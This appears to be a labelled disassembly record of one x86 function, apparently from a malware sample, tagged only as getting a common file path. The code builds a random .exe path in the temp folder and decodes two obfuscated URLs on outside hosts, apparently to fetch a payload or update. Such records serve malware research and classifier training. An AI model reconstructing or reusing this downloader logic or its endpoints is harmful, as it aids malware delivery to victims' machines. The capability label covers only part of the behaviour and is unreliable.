Function at 0x402343
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3424
call fcn.00402dd0
push edi
mov byte [ebp - 0x3424], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x3423]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x2508], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x2507]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x2404], 0
mov dword [ebp - 0x250c], 0
mov dword [ebp - 0x3114], 0
mov dword [ebp - 0x3118], 0
mov dword [ebp - 0x2510], 0
mov byte [ebp - 0x2400], 0
mov ecx, 0x8ff
xor eax, eax
lea edi, [ebp - 0x23ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x3110], 0
mov ecx, 0x2ff
xor eax, eax
lea edi, [ebp - 0x310f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x321c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x321b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x3320], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x331f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x3424]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 5
lea ecx, [ebp - 0x2508]
push ecx
call fcn.004017b1
add esp, 8
lea edx, [ebp - 0x3424]
push edx
call fcn.00402920
add esp, 4
movsx eax, byte [ebp + eax - 0x3424]
cmp eax, 0x5c
je 0x40246f
lea ecx, [ebp - 0x3424]
push ecx
call fcn.00402920
add esp, 4
mov byte [ebp + eax - 0x3423], 0x5c
lea edx, [ebp - 0x2508]
push edx
lea eax, [ebp - 0x3424]
push eax
call fcn.00402b10
add esp, 8
push str..exe
lea ecx, [ebp - 0x3424]
push ecx
call fcn.00402b10
add esp, 8
lea edx, [ebp - 0x321c]
push edx
mov eax, dword [str.104116116112058047047119119119046105115115117101106101106117046099111109047114115115047114115115055046116120116]
push eax
call fcn.00401280
add esp, 8
lea ecx, [ebp - 0x321c]
push ecx
call fcn.00402920
add esp, 4
cmp eax, 0xa
jbe 0x402538
push 0x2400
lea edx, [ebp - 0x2400]
push edx
lea eax, [ebp - 0x321c]
push eax
call fcn.00401326
add esp, 0xc
test eax, eax
jne 0x402536
lea ecx, [ebp - 0x3320]
push ecx
mov edx, dword [str.104116116112058047047108105115116046098101115116120115115046099111109047117112119105110055046116120116]
push edx
call fcn.00401280
add esp, 8
lea eax, [ebp - 0x3320]
push eax
call fcn.00402920
add esp, 4
cmp eax, 0xa
jbe 0x402531
push 0x2400
lea ecx, [ebp - 0x2400]
push ecx
lea edx, [ebp - 0x3320]
push edx
call fcn.00401326
add esp, 0xc
test eax, eax
jne 0x40252f
jmp 0x40261b
jmp 0x402536
jmp 0x40261b
jmp 0x40253d
jmp 0x40261b
call fcn.00401f4b
mov dword [ebp - 0x3118], eax
lea eax, [ebp - 0x2400]
push eax
call fcn.00402920
add esp, 4
cmp eax, 0x15
jae 0x402561
jmp 0x40261b
lea ecx, [ebp - 0x2400]
push ecx
call fcn.00401fbf
add esp, 4
test eax, eax
jne 0x402579
jmp 0x40261b
lea edx, [ebp - 0x3110]
push edx
lea eax, [ebp - 0x2400]
push eax
call fcn.00401280
add esp, 8
push 0x3a
lea ecx, [ebp - 0x3110]
push ecx
call fcn.00402d10
add esp, 8
mov dword [ebp - 0x2404], eax
cmp dword [ebp - 0x2404], 0
je 0x40261b
mov edx, dword [ebp - 0x2404]
mov byte [edx], 0
lea eax, [ebp - 0x3110]
mov dword [ebp - 0x250c], eax
mov ecx, dword [ebp - 0x2404]
add ecx, 1
mov dword [ebp - 0x3114], ecx
mov edx, dword [ebp - 0x250c]
push edx
call fcn.00402aaf
add esp, 4
mov dword [ebp - 0x2510], eax
mov eax, dword [ebp - 0x3118]
cmp eax, dword [ebp - 0x2510]
je 0x40261b
lea ecx, [ebp - 0x3424]
push ecx
mov edx, dword [ebp - 0x3114]
push edx
call fcn.00401416
add esp, 8
mov eax, dword [ebp - 0x2510]
push eax
call fcn.00401eff
add esp, 4
pop edi
mov esp, ebp
pop ebp
ret